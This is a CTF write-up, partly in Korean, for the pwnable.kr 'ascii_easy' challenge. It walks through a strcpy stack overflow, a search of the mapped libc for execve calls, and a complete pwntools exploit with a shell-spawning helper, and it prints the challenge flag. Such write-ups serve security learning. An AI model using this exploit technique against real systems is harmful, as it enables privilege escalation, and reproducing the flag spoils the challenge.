Description
We often need to make 'printable-ascii-only' exploit payload. You wanna try? hint : you don't necessarily have to jump at the beggining of a function. try to land anyware. ssh [email protected] -p2222 (pw:guest)
Files / checksec
ascii_easy@ubuntu:~$ ls ascii_easy ascii_easy.c flag intended_solution.txt libc-2.15.so ascii_easy@ubuntu:~$ checksec ./ascii_easy [*] '/home/ascii_easy/ascii_easy' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
Source Code
- ascii_easy.c
#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); setregid(getegid(), getegid()); vuln(argv[1]); }
로컬 libc 파일(/home/ascii_easy/libc-2.15.so
)을 지정된 주소 BASE
에 따라 0x5555e000
에 RWX
권한으로 mmap한다.
사용자가 입력한 argv[1]
문자열에 비 ASCII 문자가 하나라도 있으면 종료된다.
ASCII 문자만 들어가있다면, vuln
함수를 호출하는데 매개변수로 argv[1]
이 들어가 strcpy
함수를 통해 buf
로 복사한다.
Analysis
아래 함수에서 버퍼 오버플로우 취약점이 있고, /home/ascii_easy/libc-2.15.so
가젯을 사용할 수 있다.
void vuln(char* p){ char buf[20]; strcpy(buf, p); }
하지만 is_ascii
함수에 의해 아스키 범위 내의 데이터만 들어갈 수 있다.
쉘을 획득하기 위해 call execve
명령어들을 찾아봤을때,
b8967
주소를 사용할 수 있었다. (0xb8967 + 0x5555e000 = 0x55616967
)
ascii_easy@ubuntu:~$ objdump -d ./libc-2.15.so | grep '<execve' > execve.txt
3edab: e8 30 98 07 00 calll 0xb85e0 <execve> 000b85e0 <execve>: b8616: 77 0b ja 0xb8623 <execve+0x43> b8631: eb e5 jmp 0xb8618 <execve+0x38> b86c4: e8 17 ff ff ff calll 0xb85e0 <execve> b876a: e8 71 fe ff ff calll 0xb85e0 <execve> b8802: e8 d9 fd ff ff calll 0xb85e0 <execve> b88c9: e8 12 fd ff ff calll 0xb85e0 <execve> b8967: e8 74 fc ff ff calll 0xb85e0 <execve> // XXX b8a32: e8 a9 fb ff ff calll 0xb85e0 <execve> b8c1b: e8 c0 f9 ff ff calll 0xb85e0 <execve> b8cda: e8 01 f9 ff ff calll 0xb85e0 <execve> b8e01: e8 da f7 ff ff calll 0xb85e0 <execve> b8ea8: e8 33 f7 ff ff calll 0xb85e0 <execve> d8b77: e8 64 fa fd ff calll 0xb85e0 <execve> d8eb5: e8 26 f7 fd ff calll 0xb85e0 <execve> d91ae: e8 2d f4 fd ff calll 0xb85e0 <execve> da486: e8 55 e1 fd ff calll 0xb85e0 <execve>
libc215_base = 0x5555e000 addresses = [] with open("execve.txt", "r") as file: for line in file: line = line.strip() # calll 명령어가 있는 줄에서만 처리 if 'calll' in line: parts = line.split(":") if len(parts) > 1: addr_str = parts[0].strip() addr_int = int(addr_str, 16) addr_int = hex(addr_int + libc215_base) addresses.append(addr_int) print(addresses)
seo@seos-macbook ascii_easy % python3 collect_execve.py ['0x5559cdab', '0x556166c4', '0x5561676a', '0x55616802', '0x556168c9', '0x55616967', '0x55616a32', '0x55616c1b', '0x55616cda', '0x55616e01', '0x55616ea8', '0x55636b77', '0x55636eb5', '0x556371ae', '0x55638486']
b8967: e8 74 fc ff ff calll 0xb85e0 <execve> // XXX
다음으로, execve
함수에서 실행시킬 1번쨰 인자는 마찬가지로 아스키 범위 내에 있는 tag
문자열을 대상으로 진행하였다.
(0x158544 + 0x5555e000 = 0x556b6544)

execve 함수에서 실행시킬 2, 3번째 매개변수는 NULL
을 가리키는 0x15686C
.
(0x15686c + 0x5555e000 = 0x556b486c)

vuln
함수의 dest
지역변수를 살펴보면, ebp-0x1C
에 위치해있기에 0x1c, 28
바이트만큼 채우고, vuln’s ebp
덮을 4바이트, 그 다음에 이제 vuln’s RET
에 4바이트 덮을 수 있겠다.
char *__cdecl vuln(char *src) { char dest[24]; // [esp+Ch] [ebp-1Ch] BYREF return strcpy(dest, src); }
solve.py
from pwn import * # context.log_level = 'debug' libc215_base = 0x5555e000 libc215_call_execve = libc215_base + 0xb8967 libc215_tag = libc215_base + 0x158544 libc215_null = libc215_base + 0x0015686C payload = b'A'*20 payload += b'B'*4 payload += b'C'*4 payload += b'D'*4 #vuln's ebp payload = payload + p32(libc215_call_execve) + p32(libc215_tag) + p32(libc215_null) + p32(libc215_null) arg = ['./ascii_easy', payload] p = process(executable='./ascii_easy', argv=arg) # e = ELF('./ascii_easy') p.interactive() # gef➤ r ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP # Starting program: /home/ubuntu/pwnable.kr/ascii_easy/ascii_easy ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOP # 0x8049232 <vuln+0025> nop # 0x8049233 <vuln+0026> mov ebx, DWORD PTR [ebp-0x4] # 0x8049236 <vuln+0029> leave # → 0x8049237 <vuln+002a> ret # gef➤ info reg ebp # ebp 0x46454443 0x46454443 //CDEF # >>> len('ABCDEFGHIJKLMNOPQRSTUVWXYZAB') # 28 # 28~32 -> ebp # 32 -> ret # ascii_easy@ubuntu:/tmp/w4_8$ cat tag.c # #include <stdio.h> # int main(void) { # system("/bin/bash"); # return 0; # } # gcc -o tag tag.c # ASCII_armor_is_a_real_pain_to_d3al_with!
Result
ascii_easy@ubuntu:~$ mkdir -p /tmp/w4_ascii ascii_easy@ubuntu:~$ cd /tmp/w4_ascii ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/ascii_easy . ascii_easy@ubuntu:/tmp/w4_ascii$ ln -sf /home/ascii_easy/flag . ascii_easy@ubuntu:/tmp/w4_ascii$ nano solve.py ascii_easy@ubuntu:/tmp/w4_ascii$ nano tag.c Unable to create directory /home/ascii_easy/.local/share/nano/: No such file or directory It is required for saving/loading search history or cursor positions. ascii_easy@ubuntu:/tmp/w4_ascii$ gcc -o tag tag.c tag.c: In function ‘main’: tag.c:4:9: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 4 | system("/bin/bash"); | ^~~~~~ ascii_easy@ubuntu:/tmp/w4_ascii$ python3 solve.py [+] Starting local process './ascii_easy': pid 1358454 [*] Switching to interactive mode triggering bug... $ cat flag ASCII_armor_is_a_real_pain_to_d3al_with!